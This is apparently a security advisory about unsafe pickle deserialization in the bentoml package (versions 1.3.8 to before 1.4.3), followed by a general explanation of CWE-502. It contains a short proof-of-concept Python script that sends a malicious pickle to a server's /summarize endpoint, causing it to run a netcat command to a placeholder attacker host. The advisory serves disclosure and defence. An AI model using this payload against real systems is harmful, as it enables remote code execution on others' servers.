Deserialization of Untrusted Data Affecting bentoml package, versions [1.3.8,1.4.3)

bentoml is a BentoML: Build Production-Grade AI Applications

Affected versions of this package are vulnerable to Deserialization of Untrusted Data in the deserialize_value() function, which is accessible over the /summarize endpoint. An attacker can execute code on the server by sending a malicious serialized pickle object in an HTTP request.

import pickle
import os
import requests

headers = {'Content-Type': 'application/vnd.bentoml+pickle'}

class Evil:
    def __reduce__(self):
        return(os.system, ('nc attackerhost 1234',))

payload = pickle.dumps(Evil())

requests.post("http://targethost:3000/summarize", data=payload, headers=headers)

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

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